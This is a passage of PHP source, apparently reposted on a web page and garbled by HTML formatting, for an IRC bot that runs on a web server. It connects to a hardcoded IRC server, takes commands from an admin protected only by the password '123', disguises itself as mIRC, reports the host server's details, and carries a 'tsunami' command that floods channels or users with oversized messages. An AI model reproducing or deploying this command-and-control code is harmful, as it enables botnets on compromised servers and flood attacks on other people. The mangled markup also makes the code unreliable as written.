<p> &#8221;s0x&#8221;,</p>
<p> &#8221;nefertiti&#8221;,</p>
<p> &#8221;woops&#8221;,</p>
<p> &#8221;higlas&#8221;,</p>
<p> &#8221;cronx&#8221;,</p>
<p> &#8221;sown&#8221;,</p>
<p> &#8221;zappura&#8221;,</p>
<p> &#8221;heavenX&#8221;,</p>
<p> &#8221;muhahah1&#8243;,</p>
<p> &#8221;biker4zs1&#8243;,</p>
<p> &#8221;ckkemc1&#8243;,</p>
<p> &#8221;clujeane1&#8243;,</p>
<p> &#8221;hepahofn1&#8243;,</p>
<p> &#8221;hepafon1&#8243;,</p>
<p> &#8221;blackspace1&#8243;,</p>
<p> &#8221;aabbcc1&#8243;,</p>
<p> &#8221;ni1krc1&#8243;,</p>
<p> &#8221;perosume1&#8243;,</p>
<p> &#8221;perugis1&#8243;,</p>
<p> &#8221;cliskeacz1&#8243;,</p>
<p> &#8221;hennmx0c1&#8243;,</p>
<p> &#8221;gbusf411&#8243;,</p>
<p> &#8221;bv9mvu31&#8243;,</p>
<p> &#8221;nik3rcs1&#8243;,</p>
<p> &#8221;ghruwec1&#8243;,</p>
<p> &#8221;slickez1&#8243;,</p>
<p> &#8221;burgez1&#8243;,</p>
<p> &#8221;h4mburger1&#8243;,</p>
<p> &#8221;dijenmcie1&#8243;,</p>
<p> &#8221;pijakence1&#8243;,</p>
<p> &#8221;hai-blaeh1&#8243;,</p>
<p> &#8221;power-you1&#8243;,</p>
<p> &#8221;djstone1&#8243;,</p>
<p> &#8221;djkid1&#8243;,</p>
<p> &#8221;djthekid1&#8243;,</p>
<p> &#8221;djmaster1&#8243;,</p>
<p> &#8221;eftimie1&#8243;,</p>
<p> &#8221;djcorason1&#8243;,</p>
<p> &#8221;djalex1&#8243;,</p>
<p> &#8221;djconstantin1&#8243;,</p>
<p> &#8221;djbitch1&#8243;,</p>
<p> &#8221;djk1d1&#8243;,</p>
<p> &#8221;djtarget1&#8243;,</p>
<p> &#8221;masterjungel1&#8243;,</p>
<p> &#8221;daradaam1&#8243;,</p>
<p> &#8221;uhmenze1&#8243;,</p>
<p> &#8221;glicjex1&#8243;,</p>
<p> &#8221;fortex1&#8243;,</p>
<p> &#8221;hepafoneav1&#8243;,</p>
<p> &#8221;m00rd3r1&#8243;,</p>
<p> &#8221;tzacapaca1&#8243;,</p>
<p> &#8221;nijeaz1&#8243;,</p>
<p> &#8221;clijekcmez1&#8243;,</p>
<p> &#8221;okkmmenc1&#8243;,</p>
<p> &#8221;psyBNCz1&#8243;,</p>
<p> &#8221;shellZX&#8221;,</p>
<p>);</p>
<p>$usr1=array(</p>
<p>&#8220;zider&#8221;,</p>
<p>);</p>
<p>$nick = $nicky[rand(0,count($nicky) - 1)];<br />
$awaymsg = &#8220;_4Ã<em>f</em>Æ’Ã†â€<sup>TM</sup>Ã<em>f</em>Â¢Ã¢â€šÂ¬Ã…Â¡Ã<em>f</em>Æ’Ã¢â‚¬Å¡Ã<em>f</em>â€šÃ‚Â»_8!_4Ã<em>f</em>Æ’Ã†â€<sup>TM</sup>Ã<em>f</em>Â¢Ã¢â€šÂ¬Ã…Â¡Ã<em>f</em>Æ’Ã¢â‚¬Å¡Ã<em>f</em>â€šÃ‚Â« <span style="text-decoration: underline;">4H4</span>Kim _8CÃ<em>f</em>Æ’Ã†â€<sup>TM</sup>Ã<em>f</em>Â¢Ã¢â€šÂ¬Ã…Â¡Ã<em>f</em>Æ’Ã¢â‚¬Å¡Ã<em>f</em>â€šÃ‚Â®Ã<em>f</em>Æ’Ã†â€<sup>TM</sup>Ã<em>f</em>â€ Ã¢â‚¬â„¢Ã<em>f</em>Æ’Ã¢â‚¬Å¡Ã<em>f</em>â€šÃ‚Â«wS _4Ã<em>f</em>Æ’Ã†â€<sup>TM</sup>Ã<em>f</em>Â¢Ã¢â€šÂ¬Ã…Â¡Ã<em>f</em>Æ’Ã¢â‚¬Å¡Ã<em>f</em>â€šÃ‚Â»_8!_4Ã<em>f</em>Æ’Ã†â€<sup>TM</sup>Ã<em>f</em>Â¢Ã¢â€šÂ¬Ã…Â¡Ã<em>f</em>Æ’Ã¢â‚¬Å¡Ã<em>f</em>â€šÃ‚Â«__&#8221;;<br />
$identify = &#8221;;</p>
<p>$Admin = &#8216;zaNga&#8217;;</p>
<p><strong>$BOT_PASSWORD = &#8217;123&#8242;;</strong></p>
<p>$channels = &#8216;<strong>netcat&#8217;;</strong><strong>$remotehst2= array(&#8220;irc.yogyakarta.cn&#8221;);<br />
$remotehost= $remotehst2[rand(0,count($remotehst2) - 1)];<br />
$port = &#8217;6667&#8242;;</strong>$raway = &#8220;on&#8221;;</p>
<p>$realname = $nick;</p>
<p>$counterfp = 0;</p>
<p>$channels = str_replace(&#8220;CNL&#8221;,&#8221;",$channels);<br />
print &#8220;&lt;body bgcolor=#000000 text=#C0C0C0&gt;&#8221;;<br />
print &#8220;&lt;b&gt;== Connecting to $remotehost&#8230;&lt;/b&gt;&#8221;;</p>
<p> </p>
<p>$log = &#8220;off&#8221;;</p>
<p>$saway = &#8220;1&#8243;;</p>
<p>if (!$stime) { $stime = time(); }</p>
<p>if (!$port) { $port = &#8220;6666&#8243;; }</p>
<p>$Admin = strtolower($Admin);</p>
<p>$auth = array($Admin =&gt; array(&#8220;name&#8221; =&gt; $Admin, &#8220;pass&#8221; =&gt; $BOT_PASSWORD, &#8220;auth&#8221; =&gt; 1,&#8221;status&#8221; =&gt; &#8220;Admin&#8221;));</p>
<p>$username = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];<br />
$keluar = 0;</p>
<p>$akill = 1;</p>
<p>$katime = 0;</p>
<p>$localhost = &#8216;localhost&#8217;;</p>
<p>$dayload = date(&#8220;H:i:s d/m/Y&#8221;);</p>
<p>ini_set(&#8216;user_agent&#8217;,'MSIE 5\.5;&#8217;);</p>
<p>set_time_limit(0);</p>
<p>define (&#8216;CRL&#8217;, &#8220;\r\n&#8221;);</p>
<p>$channels = strtolower($channels).&#8221; &#8220;;</p>
<p>$channel = explode(&#8221; &#8220;, $channels);</p>
<p>do {</p>
<p>  $fp = fsockopen($remotehost,$port, &amp;$err_num, &amp;$err_msg, 30);<br />
  if(!$fp) {</p>
<pre>        if ( $counterfp &lt;= 200 ) {

                 $counterfp = $counterfp+1;

                 working($nick);

         }

         else {

            print "&lt;br&gt;&lt;b&gt;Cannot connect to $remotehost!&lt;br&gt;Please Try Another Server!&lt;/b&gt;";

            $keluar = 1;

            exit;

         }</pre>
<p>}</p>
<p>  print &#8220;&lt;br&gt;&lt;b&gt;== Suceeded connection&lt;/b&gt;&#8221;;<br />
  $Header = &#8216;NICK &#8216;.$nick . CRL;</p>
<p>  $Header .= &#8216;USER &#8216;.$username.&#8217; &#8216;.$localhost.&#8217; &#8216;.$remotehost.&#8217; :&#8217;.$realname . CRL;<br />
  fputs($fp, $Header);</p>
<p>  $response = &#8221;;</p>
<p>  while (!feof($fp)) {</p>
<pre>        $response .= fgets($fp, 1024);

         while (substr_count($response,CRL) != 0) {

                 $offset = strpos($response, CRL);

                 $data = substr($response,0,$offset);

                 $response = substr($response,$offset+2);

                 if (substr($data,0,1) == ':') {

                         $offsetA = strpos($data, ' ');

                         $dFrom = substr($data,1,$offsetA-1);

                         $offsetB = strpos($data, ' :');

                         $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);

                         $offsetC = strpos($data, '!');

                         $dNick = substr($data,1,$offsetC-1);

                         $iText = substr($data,$offsetB+2);

             if ( substr($dCommand,0,3) == '004' ) {

                           fputs($fp, 'PRIVMSG <a href="mailto:nickserv@services.dal.net">nickserv@services.dal.net</a> :identify '.$nick.' '.$identify.  CRL);

                           if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }

                           fputs($fp, 'NOTICE ' . $Admin . ' :Halo bos besar!' .  CRL);

                           foreach ($channel as $v) {

                                 fputs($fp, 'JOIN ' .$v . CRL);

                           }

                           $pong1 = '1';

             }

                         elseif (substr($dCommand,0,3)=='465') {

                                 print "&lt;br&gt;&lt;b&gt;== This bot have been autokilled.&lt;/b&gt;";

                                 $akill = 2;

                         }

                         elseif (substr($dCommand,0,3)=='433') {

                                 $nick = $nicky[rand(0,count($nicky) - 1)];

                                 fputs($fp, 'NICK '.$nick . CRL);

                         }

                         elseif (substr($dCommand,0,3)=='432') {

                                 $nick = $nick.$username;

                                 fputs($fp, 'NICK '.$nick . CRL);

                         }

                         if (eregi('.dal.net',$dNick) &amp;&amp; $akill==2) {

                                 if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {

                                         print "&lt;br&gt;&lt;b&gt;".strstr($data,'***')." &lt;/b&gt;";

                                         if (eregi('Your IP is',$data)) {

                                                 $keluar = 1;

                                                 exit;

                                         }

                                 }

                         }

                         $dcom = explode(" ", $dCommand);

                         $dNick = strtolower($dNick);

                         if ($dcom[0]=='KICK' &amp;&amp; $dcom[2]==$nick) {

                                 fputs($fp, 'JOIN ' .$dcom[1]. CRL);

                         }

                         elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {

                                 if ($auth["$dNick"]) {

                                         if ($auth["$dNick"]["pass"]) {

                                                 if ($auth["$dNick"]["auth"]==2) {

                                                         if ($dcom[0]=='NICK') {

                                                                 $com = explode(" ", $data);

                                                                 $chnick = strtolower(str_replace(':','',$com[2]));

                                                                 if ($dNick!=$chnick) {

                                                                         $auth["$dNick"]["auth"] = 1;

                                                                         fputs($fp,'NOTICE '.$chnick.' :selamat istirahat bos! ' . CRL);

                                                                 }

                                                         } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :selamat istirahat bos! ' . CRL); }

                                                 }

                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :pass your pass ' . CRL); }

                                 }

                         }

                         elseif ($dcom[0]=='307' &amp;&amp; strtolower($dcom[2])==$whois) {

                                 $dcom[2] = strtolower($dcom[2]);

                                 if ($auth["$dcom[2]"]) {

                                         if ($auth["$dcom[2]"]["pass"]) {

                                                 if ($auth["$dcom[2]"]["auth"]==1) {

                                                         $auth["$dcom[2]"]["auth"] = 2; $whois = "";

                                                         fputs($fp,'NOTICE ' . $dcom[2] . ' :kamu masukan password as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);

                                                 } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :password oke bos aChOnGs seep emuach di titid! ' . CRL); }

                                         } else { fputs($fp,'NOTICE ' . $dcom[2] . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ass Not Set Yet! Type: pass &lt;your pass&gt; To Set Your Own Password then Auth Again ' . CRL); }

                                 } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }

                         }

                         elseif ($dcom[0]=='NOTICE') {

                                 $com = explode(" ", $data);

                                 if ($com[3]==':<span style="text-decoration: underline;">KB' &amp;&amp; $com[4] &amp;&amp; $com[5] &amp;&amp; $com[6]) {

                                         $msg = str</span>replace('<span style="text-decoration: underline;">','',$data);

                                         $msg = strstr($msg,":KB");

                                         $msg = str</span>replace(":KB $com[4]","",$msg);

                                         fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);

                                         fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);

                                 }

                         }

                         elseif ($dcom[0]=='PRIVMSG') {

                                 $com = explode(" ", $data);

                                 if ($com[3]==':<span style="text-decoration: underline;">VERSION</span>') {

                                         fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION mIRC v6.16 Khaled Mardam-Bey'.chr(1) . CRL);

                                 }

                                 elseif ($auth["$dNick"]["status"] &amp;&amp; $com[3]==':auth' &amp;&amp; $com[4]) {

                                         if ($auth["$dNick"]) {

                                                 if ($auth["$dNick"]["pass"]) {

                                                         if ($auth["$dNick"]["auth"]==1) {

                                                                 if ($com[4]===$auth["$dNick"]["pass"]) {

                                                                         $auth["$dNick"]["auth"] = 2;

                                                                         fputs($fp,'NOTICE ' . $dNick . ' :kamu masukkan password as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);

                                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' :passworde salah syu! Auth salah Shu! ' . CRL); }

                                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :password bener bos aChOnGs emang oke! ' . CRL); }

                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ass Not Set Yet! Type: pass &lt;your pass&gt; To Set Your Own Password then Auth Again ' . CRL); }

                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }

                                 }

                                 elseif ($auth["$dNick"]["status"] &amp;&amp; $com[3]==':deauth') {

                                         if ($auth["$dNick"]) {

                                                 if ($auth["$dNick"]["pass"]) {

                                                         if ($auth["$dNick"]["auth"]==2) {

                                                                 $auth["$dNick"]["auth"] = 1;

                                                                 fputs($fp,'NOTICE ' . $dNick . ' :You`re LogOut! ' . CRL);

                                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already LogOut! ' . CRL); }

                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ass Not Set Yet! Type: pass &lt;your pass&gt; To Set Your Own Password then Auth Again ' . CRL); }

                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }

                                 }

                                 elseif ($auth["$dNick"]["status"] &amp;&amp; $com[3]==':pass' &amp;&amp; $com[4]) {

                                         if ($auth["$dNick"]) {

                                                 if (!$auth["$dNick"]["pass"]) {

                                                         $auth["$dNick"]["pass"] = $com[4];

                                                         $auth["$dNick"]["auth"] = 1;

                                                         fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth &lt;your pass&gt; To Authorized Imediately! ' . CRL);

                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ass Already Set! Type: auth &lt;your pass&gt; To Get Authorized ' . CRL); }

                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }

                                 }

                                 elseif ($auth["$dNick"]["status"] &amp;&amp; $com[3]==':chgpass' &amp;&amp; $com[4] &amp;&amp; $com[5]) {

                                         if ($auth["$dNick"]) {

                                                 if ($auth["$dNick"]["auth"]==2) {

                                                         if ($com[4]===$auth["$dNick"]["pass"]) {

                                                                 $auth["$dNick"]["pass"] = $com[5];

                                                                 fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth &lt;your pass&gt; To Authorized Imediately! ' . CRL);

                                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass &lt;old pass&gt; &lt;new pass&gt; To Change Your Auth Pass ' . CRL); }

                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> lease Auth First! Type: auth &lt;your pass&gt; To Authorized ' . CRL); }

                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }

                                 }

                                 elseif ($auth["$dNick"]["status"] &amp;&amp; $com[3]==':adduser' &amp;&amp; $com[4] &amp;&amp; $com[4]!=$nick &amp;&amp; $com[5]) {

                                         $com[4] = strtolower($com[4]);

                                         if ($auth["$dNick"]["auth"]==2) {

                                                 if ($auth["$dNick"]["status"]=="Admin") {

                                                         if ($com[5]=="master" || $com[5]=="user") {

                                                                 $auth["$com[4]"]["name"] = $com[4];

                                                                 $auth["$com[4]"]["status"] = $com[5];

                                                                 fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);

                                                                 fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass &lt;your pass&gt; To Set Your Pass ' . CRL);

                                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :salah Command! Type: adduser &lt;nick&gt; &lt;master/user&gt; ' . CRL); }

                                                 } elseif ($auth["$dNick"]["status"]=="master") {

                                                         if (!$auth["$com[4]"]) {

                                                                 if ($com[5]=="user") {

                                                                         $auth["$com[4]"]["name"] = $com[4];

                                                                         $auth["$com[4]"]["status"] = $com[5];

                                                                         fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);

                                                                         fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass &lt;your pass33] &lt;Spyderur Pass ' . CRL);

                                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser &lt;nick&gt; user ' . CRL); }

                                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }

                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }

                                         } else { fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> lease Auth First! Type: auth &lt;your pass&gt; To Authorized ' . CRL); }

                                 }

                                 elseif ($auth["$dNick"]["status"] &amp;&amp; $com[3]==':deluser' &amp;&amp; $com[4]) {

                                         $com[4] = strtolower($com[4]);

                                         if ($auth["$dNick"]["auth"]==2) {

                                                 if ($auth["$dNick"]["status"]=="Admin") {

                                                         if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {

                                                                 unset($auth["$com[4]"]);

                                                                 fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> elUser :'.$com[4].' From My UserList ' . CRL);

                                                                 fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);

                                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser &lt;nick&gt; ' . CRL); }

                                                 } elseif ($auth["$dNick"]["status"]=="master") {

                                                         if ($auth["$com[4]"]["status"]=="user") {

                                                                 unset($auth["$com[4]"]);

                                                                 fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> elUser :'.$com[4].' From My UserList ' . CRL);

                                                                 fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);

                                                         } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser &lt;nick&gt; ' . CRL); }

                                                 } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }

                                         } else { fputs($fp,'NOTICE ' . $dNick . ' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> lease Auth First! Type: auth &lt;your pass&gt; To Authorized ' . CRL); }

                                 }

                                 elseif ($auth["$dNick"]["status"]) {

                                 if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {

                                         $chan = strstr($dCommand,"#");

                                         $anick = str_replace("PRIVMSG ","",$dCommand);

                                         if ($com[3]==':!auth') {

                                                 if ($auth["$dNick"]["auth"]==2) {

                                                         fputs($fp,'NOTICE '.$dNick.' :Jembutz..! You`re already Authorized!' . CRL);

                                                 } else {

                                                         $whois = $dNick;

                                                         fputs($fp,'WHOIS '.$dNick . CRL);

                                                 }

                                         } elseif ($com[3]==':`auth' &amp;&amp; $chan) {

                                                 if ($auth["$dNick"]["auth"]==2) {

                                                         fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' Hamba siap mencari janda Bos!' . CRL);

                                                 } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' Raimu bukan bosku cok!' . CRL); }

                                         } elseif ($auth["$dNick"]["auth"]==2) {

                                                 if ($com[3]==':`say' &amp;&amp; $com[4] &amp;&amp; $chan) {

                                                         $msg = strstr($data,":`say");

                                                         $msg = str_replace(":`say ","",$msg);

                                                         fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);

                                                 }

                                                 elseif ($com[3]==':`act' &amp;&amp; $com[4] &amp;&amp; $chan) {

                                                         $msg = strstr($data,":`act");

                                                         $msg = str_replace(":`act ","",$msg);

                                                         fputs($fp,'PRIVMSG '.$chan.' :<span style="text-decoration: underline;">ACTION '.$msg.'</span>'. CRL);

                                                 }

                                                 elseif ($com[3]==':`slap' &amp;&amp; $com[4] &amp;&amp; $chan) {

                                                         fputs($fp,'PRIVMSG '.$chan.' :<span style="text-decoration: underline;">ACTION slaps '.$com[4].' Jembut Raimu wani karo bosku around a bit with a large trout</span>'. CRL);

                                                 }

                                                 elseif ($com[3]==':`msg' &amp;&amp; $com[4] &amp;&amp; $com[5]) {

                                                         $msg = strstr($data,":`msg");

                                                         $msg = str_replace(":`msg $com[4] ","",$msg);

                                                         fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);

                                                 }

                                                 elseif ($com[3]==':`notice' &amp;&amp; $com[4] &amp;&amp; $com[5]) {

                                                         $msg = strstr($data,":`notice");

                                                         $msg = str_replace(":`notice $com[4] ","",$msg);

                                                         fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);

                                                 }

                                                 elseif ($com[3]==':`ctcp' &amp;&amp; $com[4] &amp;&amp; $com[5]) {

                                                         $msg = strstr($data,":`ctcp");

                                                         $msg = str_replace(":`ctcp $com[4] ","",$msg);

                                                         fputs($fp,'PRIVMSG '.$com[4].' :<span style="text-decoration: underline;">'.$msg.'</span>'. CRL);

                                                 }

                                                 elseif ($com[3]==':`ping' &amp;&amp; $chan) {

                                                         $sml = $smile[rand(0,count($smile) - 1)];

                                                         fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', _PONG!_ '.$sml. CRL);

                                                 }

                                                 elseif ($com[3]==':`pong' &amp;&amp; $chan) {

                                                         $sml = $smile[rand(0,count($smile) - 1)];

                                                         fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', _PING!_ '.$sml. CRL);

                                                 }

                                                 elseif ($com[3]==':`info' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         $bhost = $<span style="text-decoration: underline;">SERVER['HTTP</span>HOST'];

                                                         $bphp  = $<span style="text-decoration: underline;">SERVER['PHP</span>SELF'];

                                                         fputs($fp,'NOTICE '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);

                                                 }

                                                 elseif ($com[3]==':`up' &amp;&amp; $chan) {

                                                         fputs($fp, 'PRIVMSG <a href="mailto:chanserv@services.dal.net">chanserv@services.dal.net</a> <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> p '.$chan.' '.$nick . CRL);

                                                 }

                                                 elseif ($com[3]==':`down' &amp;&amp; $chan) {

                                                         fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);

                                                 }

                                                 elseif ($com[3]==':`tsunami' &amp;&amp; $com[4] &amp;&amp; $auth["$dNick"]["status"]!="user") {

                                                         $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];

                                                         fputs($fp, 'NICK '.$nicktsu . CRL);

                                                         if (substr($dCommand,0,3)=='433') {

                                                                 $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];

                                                                 fputs($fp, 'NICK '.$nicktsu . CRL);

                                                         }

                                                         $msg = strstr($data,":`tsunami");

                                                         $msg = str_replace(":`tsunami $com[4]","",$msg);

                                                         if (ereg("#", $com[4])) {

                                                           fputs($fp, 'JOIN '.$com[4] . CRL);

                                                         }

                                                         fputs($fp, 'PRIVMSG '.$com[4].' :<span style="text-decoration: underline;">'.$msg.'</span>__________________________________________________________________________________________________________________________________________________________________________________________________________________________________<span style="text-decoration: underline;">' . CRL);

                                                         fputs($fp, 'NOTICE '.$com[4].' :</span>'.$msg.'___________________________________________________________________________________________________________________________________________________________________________________________________________________________________<span style="text-decoration: underline;">' . CRL);

                                                         fputs($fp, 'PRIVMSG '.$com[4].' :</span>TSUNAMI <span style="text-decoration: underline;">'.$msg.'</span>____________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);

                                                         fputs($fp, 'PRIVMSG '.$com[4].' :<span style="text-decoration: underline;">'.$msg.'</span>__________________________________________________________________________________________________________________________________________________________________________________________________________________________________<span style="text-decoration: underline;">' . CRL);

                                                         fputs($fp, 'NOTICE '.$com[4].' :</span>'.$msg.'___________________________________________________________________________________________________________________________________________________________________________________________________________________________________<span style="text-decoration: underline;">' . CRL);

                                                         fputs($fp, 'PRIVMSG '.$com[4].' :</span>FLOOD <span style="text-decoration: underline;">'.$msg.'</span>____________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);

                                                         if (ereg("<strong>", $com[4])) {

                                                           fputs($fp, 'PART '.$com[4].' :Complete' . CRL);

                                                           fputs($fp, 'NICK '.$nick . CRL);

                                                         } else {

                                                         fputs($fp, 'NICK '.$nick . CRL);

                                                         }

                                                 }

                                                 elseif ($com[3]==':`cycle' &amp;&amp; $chan &amp;&amp; $auth["$dNick"]["status"]!="user") {

                                                         $msg = strstr($data,":`cycle");

                                                         if (ereg("</strong>", $com[4])) {

                                                           $partchan = $com[4];

                                                           $msg = str_replace(":`cycle $com[4]","",$msg);

                                                         } else {

                                                           $partchan = $chan;

                                                           $msg = str_replace(":`cycle","",$msg);

                                                         }

                                                         if (strlen($msg)&lt;3) {

                                                           $msg = '';

                                                         }

                                                         fputs($fp, 'PART '.$partchan.' :<span style="text-decoration: underline;">'.$msg . CRL);

                                                         fputs($fp, 'JOIN '.$partchan . CRL);

                                                 }

                                                 elseif ($com[3]==':`part' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         $msg = strstr($data,":`part");

                                                         if (ereg("#", $com[4])) {

                                                           $partchan = $com[4];

                                                           $msg = str</span>replace(":`part $com[4]","",$msg);

                                                         } else {

                                                           $partchan = $chan;

                                                           $msg = str_replace(":`part","",$msg);

                                                         }

                                                         if (strlen($msg)&lt;3) {

                                                           $msg = '';

                                                         }

                                                         fputs($fp, 'PART '.$partchan.' :<span style="text-decoration: underline;">'.$msg . CRL);

                                                         $remchan = strtolower($partchan);

                                                         if (in</span>array($remchan, $channel)) {

                                                                 $channels = str_replace("$remchan ","",$channels);

                                                                 unset($channel);

                                                                 $channel = explode(" ", $channels);

                                                         }

                                                         foreach ($channel as $v) {

                                                                 fputs($fp, 'JOIN '.$v . CRL);

                                                         }

                                                 }

                                                 elseif ($com[3]==':`join' &amp;&amp; $com[4] &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         if (!ereg("<strong>",$com[4])) { $com[4]="</strong>".$com[4]; }

                                                         $addchan = strtolower($com[4]);

                                                         if (!in_array($addchan, $channel)) {

                                                                 $channel[]=$addchan;

                                                                 $channels.="$addchan ";

                                                         }

                                                         foreach ($channel as $v) {

                                                                 sleep(rand(1,6));

                                                                 fputs($fp, 'JOIN '.$v . CRL);

                                                         }

                                                 }

                                                 elseif ($com[3]==':`botnick' &amp;&amp; $com[4] &amp;&amp; !$chan &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         $nick = $com[4];

                                                         $identify = $com[5];

                                                         fputs($fp, 'NICK '.$nick . CRL);

                                                         fputs($fp, 'PRIVMSG <a href="mailto:nickserv@services.dal.net">nickserv@services.dal.net</a> :identify '.$nick.' '.$identify.  CRL);

                                                 }

                                                 elseif ($com[3]==':`k' &amp;&amp; $com[4] &amp;&amp; $chan) {

                                                         $msg = strstr($data,":`k");

                                                         $msg = str_replace(":`k $com[4]","",$msg);

                                                         fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);

                                                 }

                                                 elseif ($com[3]==':`kb' &amp;&amp; $com[4] &amp;&amp; $chan) {

                                                         $msg = strstr($data,":`kb");

